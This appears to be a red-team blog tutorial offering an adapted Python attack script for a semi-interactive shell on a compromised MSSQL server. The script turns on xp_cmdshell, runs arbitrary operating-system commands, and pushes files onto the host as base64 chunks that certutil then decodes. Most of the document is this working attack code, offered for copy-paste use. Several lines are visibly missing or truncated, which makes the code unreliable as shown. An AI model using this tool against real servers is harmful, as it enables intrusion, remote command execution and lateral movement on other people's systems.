Create Python3 Shell on MSSQL

Hi Friends

Another tutorial on penetration testing and red teaming. I would like to share a small tool that can help you on doing the lateral movement or further enumeration when a MSSQL database has been compromissed.

This tools helps on creating semi interactive shells on compromissed MSSLQ database. The full python3 code is below where you can copy paste. There is a section in this script where you need to put the DB Server, User account and Password.

This script is created by Alamot which is available on his github repo but with abit adjustment for Python3 compatibality

#!/usr/bin/env python
from __future__ import print_function
# Author: Alamot
# Use pymssql >= 1.0.3 (otherwise it doesn't work correctly)
# To upload a file, type: UPLOAD local_path remote_path
# e.g. UPLOAD myfile.txt C:\temp\myfile.txt
# If you omit the remote_path it uploads the file on the current working folder.
# Be aware that pymssql has some serious memory leak issues when the connection fails (see:

import _mssql
import base64
import shlex
import sys
import tqdm
import hashlib
from io import open
try: input = raw_input
except NameError: pass

BUFFER_SIZE = 5*1024

def process_result(mssql):
    username = ""
    computername = ""
    cwd = ""
    rows = list(mssql)
    for row in rows[:-3]:
        columns = list(row)
        if row[columns[-1]]:
    if len(rows) >= 3:
        (username, computername) = rows[-3][list(rows[-3])[-1]].split('|')
        cwd = rows[-2][list(rows[-3])[-1]]
    return (username.rstrip(), computername.rstrip(), cwd.rstrip())

def upload(mssql, stored_cwd, local_path, remote_path):
    print("Uploading "+local_path+" to "+remote_path)
    cmd = 'type nul > "' + remote_path + '.b64"'
    mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")

    with open(local_path, 'rb') as f:
        data =
        md5sum = hashlib.md5(data).hexdigest()
        b64enc_data = b"".join(base64.b64encode(data).split()).decode()
    print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
    for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
        cmd = 'echo '+b64enc_data[i:i+BUFFER_SIZE]+' >> "' + remote_path + '.b64"'
        mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
        #print("Remaining: "+str(len(b64enc_data)-i))

    cmd = 'certutil -decode "' + remote_path + '.b64" "' + remote_path + '"'
    mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
    cmd = 'certutil -hashfile "' + remote_path + '" MD5'
    mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
    if md5sum in [row[list(row)[-1]].strip() for row in mssql if row[list(row)[-1]]]:
        print("MD5 hashes match: " + md5sum)
        print("ERROR! MD5 hashes do NOT match!")

def shell():
    mssql = None
    stored_cwd = None
        mssql = _mssql.connect(server=MSSQL_SERVER, user=MSSQL_USERNAME, password=MSSQL_PASSWORD)
        print("Successful login: "+MSSQL_USERNAME+"@"+MSSQL_SERVER)

        print("Trying to enable xp_cmdshell ...")
        mssql.execute_query("EXEC sp_configure 'show advanced options',1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell',1;RECONFIGURE")

        cmd = 'echo %username%^|%COMPUTERNAME% & cd'
        mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
        (username, computername, cwd) = process_result(mssql)
        stored_cwd = cwd
        while True:
            cmd = input("CMD "+username+"@"+computername+" "+cwd+"> ").rstrip("\n").replace("'", "''")
            if not cmd:
                cmd = "call" # Dummy cmd command
            if cmd.lower()[0:4] == "exit":
            elif cmd[0:6] == "UPLOAD":
                upload_cmd = shlex.split(cmd, posix=False)
                if len(upload_cmd) < 3:
                    upload(mssql, stored_cwd, upload_cmd[1], stored_cwd+"\\"+upload_cmd[1])
                    upload(mssql, stored_cwd, upload_cmd[1], upload_cmd[2])
                cmd = "echo *** UPLOAD PROCEDURE FINISHED ***"
            mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
            (username, computername, cwd) = process_result(mssql)
            stored_cwd = cwd
    except _mssql.MssqlDatabaseException as e:
        if  e.severity <= 16:
            print("MSSQL failed: "+str(e))
        if mssql:



Below is the semi interactive shells that you can use to navigate in the compromissed DB Server

Uploading File

below is the upload functionality where it utilize living of the land technique. It uses CertUtil.exe to download the file from the attacker machines.

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